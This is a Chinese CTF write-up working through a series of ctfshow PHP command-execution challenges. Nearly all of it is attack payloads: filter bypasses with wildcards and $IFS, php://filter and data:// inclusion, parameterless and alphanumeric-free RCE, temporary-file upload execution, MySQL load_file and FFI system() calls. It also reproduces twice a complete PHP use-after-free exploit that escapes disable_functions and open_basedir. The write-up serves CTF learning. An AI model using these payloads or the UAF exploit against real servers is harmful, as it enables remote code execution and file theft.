pregmatch
是正则匹配函数,匹配是否包含flag,if(!preg_match("/flag/i", $c))
,/i
忽略大小写
可以利用system来间接执行系统命令
flag采用f*
绕过,或者mv fl?g.php 1.txt
修改文件名,或者cat 反引号ls反引号
linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html
多了对system和php的过滤
用*
绕过和passthru
过滤flag
system
php
cat
sort
shell
.
空格
'
过滤了空格,可以使用%09
替代;也可以使用{$IFS}
或者$IFS$1
传参如下:
?c=passthru("tac%09fla*");
过滤flag
system
php
cat
sort
shell
.
空格
'
反引号
echo
之前的方法都没有用了。无所谓,文件包含会出手。
https://www.cnblogs.com/endust/p/11804767.html
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
又加了(
和"
的过滤,没事,文件包含还能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,
此外,这里日志包含也是可行的。
好的这下:
也被过滤了。没事,文件包含还能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,
<
和=
也被过滤了,没关系,文件包含还能出手
Payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
加了对/
和数字0-9
的过滤,还是文件包含,一样的payload。
好家伙直接给我文件包含了是吧
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
//()
Payload不变。
虽然强加了后缀,但是不影响。因为?>
已经闭合PHP语句了。
?c=data://text/plain,
过滤了很多东西。只有空格,分号,英文括号还可以用。
看了一下wp(https://blog.csdn.net/Kracxi/article/details/121041140),果然无能为力。这题考察无参RCE。
两种payload。
?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
以下是我解题过程中学习整理的关于无参RCE的函数实操等。(部分借鉴付劲远师傅的web思维导图)
除了无参RCE,还有个利用session的方法。
payload:
?c=session_start();system(session_id());
session_id(PHPSESSID)就是要执行的命令。
但是这个方法有个弊端,命令不能有空格,因为cookie不解析空格。
无字母数字rce原理:利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说system,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。(https://www.cnblogs.com/pursue-security/p/15404150.html)
代码审计,没有过滤或(|)。跑个脚本吧(脚本小子就是我了)
查看目录。
先看源码,一个新东西>/dev/null 2>&1
含义:
1>/dev/null
:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
>
代表重定向到哪里,例如:echo “123” > /home/123.txt
1
表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2
表示stderr标准错误
&
表示等同于的意思,2>&1,表示2的输出重定向等同于1
绕过方法就是在命令后面加截断命令 ;
或 %0a
或 %26(&)
或 ||
。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1>/dev/null
就是执行了命令1
和命令2 1>/dev/null
,虽然命令2被重定向了,但是命令1没有。
过滤了分隔符;那可以换成别的分隔符。对cat的过滤可以用tac,nl替代,或者用各种转义符\
、'
、"
。
Payload:
?c=tac flag.php%26
加了一个对flag
的过滤,我们用转义符绕过。
Payload:
?c=nl%20fl\ag.php||
加了对空格
的过滤,用%09
代替。
Payload:
?c=tac%09fla*||
2023.8.16时隔半年,强迫症迫使我把基础给算完。
增加了对数字
、*
、$
的过滤,空格可以用<>
或者<
或者%09
代替(%09是URL编码,不是数字),过滤了通配符*
但是?
也不能用了,所以flag
用转义符\
或者''
。
payload:
?c=nl
发现一个奇怪的payload:这里通配符?
又可以用了,弄得我满脸问号?????后来去查了一下,是因为**<
和?
不能同时用**,上面的payload改成c=tac%09fla?.php||
就好啦
?c=awk%09'/f/'%09fla?.php||
等价于?c=awk%09'/f/{print}'%09fla?.php||
确实能用,解释一下。这个payload就是输出flag.php
文件中包含字符串f
的行。
如果我们把f
换成ctfshow
,那就只输出flag了。
参考文章:
https://blog.csdn.net/Dark_Tk/article/details/114844529
又多过滤了一些命令执行函数more
less
head
sort
tail
。但是没过滤我最喜欢的tac
、nl
和awk
。
payload不变:
?c=nl
再多过滤了一些命令执行函数sed
cut
awk
strings
od
curl
和反引号
。但是没过滤我最喜欢的tac
和nl
。
payload不变:
?c=nl
多过滤了百分号%
,对我的payload没影响,我空格是用<
绕过的。
payload不变:
?c=nl
多过滤了\x09
(水平制表符tab)和\x26
(&),对我的payload没影响。
payload不变:
?c=nl
多过滤了tac
,payload还有一个能用。
payload不变:
?c=nl
多过滤了<
和>
,但是没过滤$
,上题payload把空格用$IFS
或者${IFS}
绕过就行。
payload:
?c=nl$IFS/fla''g|| //flag在根目录
?c=nl${IFS}/fla''g||
?c=ta''c$IFS/fla''g||
?c=c''at${IFS}/fla''g||
过滤不变,这次也没有重定向了。
payload:
?c=nl${IFS}????.???
?c=nl$IFSfla''g.php||
?c=nl${IFS}fla''g.php||
?c=ta''c$IFSfla''g.php||
?c=c''at${IFS}fla''g.php||
这次过滤的有点猛。
除了符号反引号
、\x09
、\x26
、%
、<
、>
、*
之外,cat
flag
more
wget
less
head
sort
tail
sed
cut
tac
awk
strings
od
curl
nl
scp
rm
也被过滤了,而且无法使用转义符绕过。
用别的命令读取flag
?c=uniq${IFS}f???????
?c=grep${IFS}'tf'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有tf的文件,并打印出包含 tf 的这一行,好奇怪,这里只有tf、sh、ow、{、}能找出flag)
使用文件执行命令+通配符绕过过滤(注意,这里ca?${IFS}f???是不可以的)
/bin
这个目录。
bin
为binary
的简写,主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
?c=/bin/ca?${IFS}f???????
复制文件
?c=mv${IFS}fl?g.php${IFS}x.txt
hint:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
过滤了所有字母
和反引号
、\x09
、\x26
、%
、<
、>
。这题考察无字母RCE。
方法一:
使用文件执行命令+通配符绕过过滤
?c=/???/????64 ????.???
// 即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有
?c=/???/???/????2 ????.???
// 即/usr/bin/bzip2 flag.php
//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。
方法二:
这题是命令执行不是代码执行,不能进行异或/拼接等操作。如果是eval()
中内容可控(代码执行)才可以进行异或/拼接等操作,因为识别异或/拼接等操作的是PHP代码不是终端(cmd)。
【强制文件上传下的无字母数字RCE】
这题考PHP强制文件上传机制。
PHP超全局变量如下
$_GET //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES //存放所有文件
在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx
中
这个文件最后六位xxxxxx
有大小写字母、数字组成,生命周期只在PHP代码运行时。
题目中正则匹配过滤了大小写字母(i)和数字。
故我们要匹配/tmp/phpxxxxxx
的话可以用通配符/???/?????????
/???/?????????
范围太大了,我们如何缩小范围呢。
查看ascii码表,A前面是@,Z后面是[
/???/????????[@-[]
就表示了最后一位是大写
当临时文件最后一位是大写字母时/???/????????[@-[]
就能匹配到这个文件
linux中 .
代表执行一个文件,相当于source
可以执行sh命令。
如果上传的文件是一个shell脚本,那么. /???/????????[@-[]
(burp里面空格要写成+
或者%20
)就能执行这个shell脚本,实现RCE。
如何强制上传文件?
我们可以在vps上写一个表单文件
upload.html
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
<input name="file" type="file" />
<input type="submit" type="gogogo!" />
form>
访问vps上的upload.html
上传内容为whoami
的txt
文件。同时抓包。
改一下包。发现能正常执行了,并且返回了结果。
获得flag。(成功的概率,就是最后一位是大写的概率是26/26+26+10,多发几次包就行了)
这次把数字
也过滤了。
和上题一样,PHP强制上传文件机制还是可以使用滴。
这次过滤了很多。过滤了点号.
,不能用PHP强制上传文件机制
preg_match("/\;|[a-z]|[0-9]|\反引号|\|\#|\'|\"|\反引号|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)
题目提示flag in 36.php
。
关键代码:system("cat ".$c.".php");
。
我们可控的是$c
,根据提示,我们只需要构造出36
即可。
先补个前置知识:二进制取反
二进制中第一位为符号位,0代表正数,1代表负数,如 0000 0001
是+1
,1000 0001
是-1
。同时加上补码原码等相关概念,就可以理解二进制取反。
结论:如对 a 按位取反,则得到的结果为 -(a+1)。36
取反是-37
,-37
取反是36
。
详细请看:https://zhuanlan.zhihu.com/p/261080329
在linux中
${_}
代表上一次命令执行的结果
$(())
代表做运算,为0
$((~$(())))
代表~0
(0取反)为-1
$((~$(()))) $((~$(()))) $((~$(())))
代表-1-1-1
$(( $((~$(())))$((~$(())))$((~$(()))) ))
代表-1-1-1
做运算就是-3
$((~$(( $((~$(())))$((~$(())))$((~$(()))) ))))
代表-1-1-1
做运算后-3
取反就是2
中间37个$((~$(())))
就是-37
,取反后就是36
$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
flag在源码中。
这题无过滤,但是开始禁用函数了。
一般是先看phpinfo
查看被禁用的函数。但是这里phpinfo
也被禁用了,只能一个一个尝试。
禁用了phpinfo
、system
、shell_exec
等
Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));
(查看根目录:print_r(scandir(‘/’)); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
读文件的函数有这些:
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()
读文件函数payload:
c=echo file_get_contents('flag.php');
c=echo highlight_file('flag.php');
c=highlight_file("flag.php");
c=show_source('flag.php');
c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}
//file()函数:把整个文件读入一个数组中
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));
c=readfile("flag.php");
//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
也可以复制、重命名文件:
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
文件包含直接读取flag:
c=include('flag.php');echo $flag;
c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
c=include('flag.php');var_dump(get_defined_vars());
//var_dump:输出注册变量
//get_defined_vars():函数返回由所有已定义变量所组成的数组
此外,还能使用无参RCE、日志包含等方法,就不一一列举了。
源码一样,函数多禁用了几个,做法同web58。
源码一样,函数多禁用了几个,做法同web58。
源码一样,函数多禁用了几个,做法同web58。
源码一样,函数多禁用了几个,做法同web58。
源码一样,函数多禁用了几个,做法同web58。
源码一样,函数多禁用了几个,做法同web58。
源码一样,函数多禁用了几个,做法同web58。
相较于web58,源码一样,但是之前payload都用不了了,仔细一查是flag文件路径变了。
回忆一下Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));
(查看根目录:print_r(scandir(‘/’)); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
我们先看看当前目录:
c=print_r(scandir(dirname('__FILE__')));
确实没有flag。
再看看根目录:
c=print_r(scandir('/'));
发现flag在根目录flag.txt
文件中,那么把之前的payload中的flag.php
换成/flag.txt
就行了。
源码还是一样,相较于wen66,过滤了print_r()
函数,我们用var_dump()
函数替换。flag还是在根目录flag.txt
文件中。
看看根目录:
c=var_dump(scandir('/'));
其他同web66、web58。
又ban了highlight_file()
函数,导致我们看不见源码。但是源码还是一样的。
我们还有很多方法。同web67。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wt49l3pr-1692463133485)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191458554.png)]
从web58到这里,文件显示的代码,比如show_source
、highlight_file
、file_get_contents
等基本都被禁了,但是文件包含一直屹立不倒,还是本篇文章开头那句,无所谓,文件包含会出手。
学到这里我发现,从一开始感觉web板块的知识点是一座一座孤岛,到现在有部分知识能融合到一起,算是有所成长吧。
这题把var_dump()
函数ban了,可以用var_export()
函数替换。
此外,如果scandir()
被过滤可以用glob()
。用法var_dump(glob('/*'));
看看根目录:
c=var_export(scandir('/'));
命令执行拿flag。
c=include('/flag.txt');var_export(get_defined_vars());
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5YMZpf6Q-1692463133486)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191503405.png)]
做法同web69。
这题附件给了源码,源码如下:
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
ob_get_contents()
:得到缓冲区的内容(数据)。
ob_end_clean()
:会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
preg_replace("/[0-9]|[a-z]/i","?",$s)
:把存放缓冲区内容的变量$s
的内容都替换为问号。用之前payload发现输出的一大堆问号,就是因为这句话。
方法一:(这个方法目前网上只有我这篇有,雅虎~)
既然eval()
函数给了我们执行任意代码的力量,那我们模仿源码,以其人之道还之其人之身。
payload:
c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;
方法二:
也可以用exit()/die()提前结束代码,这样就不会将字符替换为问号
playload:
c=include('/flag.txt');var_export(get_defined_vars());exit();
或者
c=include('/flag.txt');var_export(get_defined_vars());die();
方法三:
其实方法一和方法三原理是一样的,都是手动输出缓冲区。不过这种方法输出的字符肉眼不可识别。。。
c=include("/flag.txt");echo ~ob_get_contents();
自动化POC:
import requests
url = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"
d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
for i in s:
print(chr(~i&0xff), end='')
# 脚本来自群里阿狸师傅
源码不变。
这题flag位置又变了。就像她,是如此的善变。
读目录。
c=var_export(scandir('/'));exit();
发现读不了,有open_basedir
配置项限制,把目录限制在了/var/www/html/
。
open_basedir
配置项在NepNepCTF-2023的Ez_include中也出现过。
我们可以利用glob伪协议
,glob伪协议
在筛选目录时不受open_basedir
制约。也就是web58中,Y4师傅给的第二种查看目录的方法。
查看根目录,发现flag在flag0.txt
文件中。
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
知道了flag文件的位置,接下来就是如何绕过open_basedir
制约读取文件,这里大师傅们给了一个脚本:
pwn("命令");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
脚本中str_repeat()
函数被过滤了,我们使用sprintf()
函数替换。
payload需要根据需要闭合源码
、修改命令
、URL编码
(本篇wp中是未编码的)。
c=?><?php
pwn("tac /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
源码一样,这题比web72还少了一个open_basedir
配置项制约。
读根目录,flag在flagc.txt
文件中
c=var_export(scandir('/'));exit();
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1Qz5EPBx-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191925376.png)]
但是这里把include
读取flag。
c=include('/flagc.txt');var_export(get_defined_vars());die();
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JTBiPu5h-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191929591.png)]
源码一样。
禁用了scandir()
函数。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jGwN9I1j-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191933891.png)]
读取根目录:(flag在flagx.txt
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
或者
c=var_export(glob('/*'));die();
其余同web73。
c=include('/flagx.txt');var_export(get_defined_vars());die();
看起来和之前一样。
这题又加上了open_basedir
限制。
读取根目录:(flag在flag36.txt
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
尝试web72的脚本读取flag失败了。
官方hint的解法是:
利用mysql
的load_file
读文件,绕过open_basedir
限制。(只限制了PHP的访问目录,不关MYSQL的事情)
数据库名、账号密码可以通过之前的题目(过滤少的)拿到。所以这个方法条件是必须要有数据库名、账号密码
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
PDO随PHP5.1发行,应用条件是PHP>5.1
payload:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
同web75,flag文件名是flag36d.txt
。
payload:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
题目描述:命令执行最后一题,php7.4,基本上命令执行就告一段落了(php7.4应该想到FFI)
看上去和之前一样,只是看上去。
读取根目录:(flag在/readflag
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
但是PDO那个方法不能用了
这题利用FFI扩展用C语言(?)执行命令,绕过open_basedir
限制。(只限制了PHP的访问目录,不关C语言的事情)
FFI:php7.4以上才有,是PHP的一个扩展。提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。
参考文章:
https://zhuanlan.zhihu.com/p/119129348
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html
payload:(记得去掉注释)
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt'; //没有回显,需要重定向到文件
$ffi->system($a); //通过$ffi去调用system函数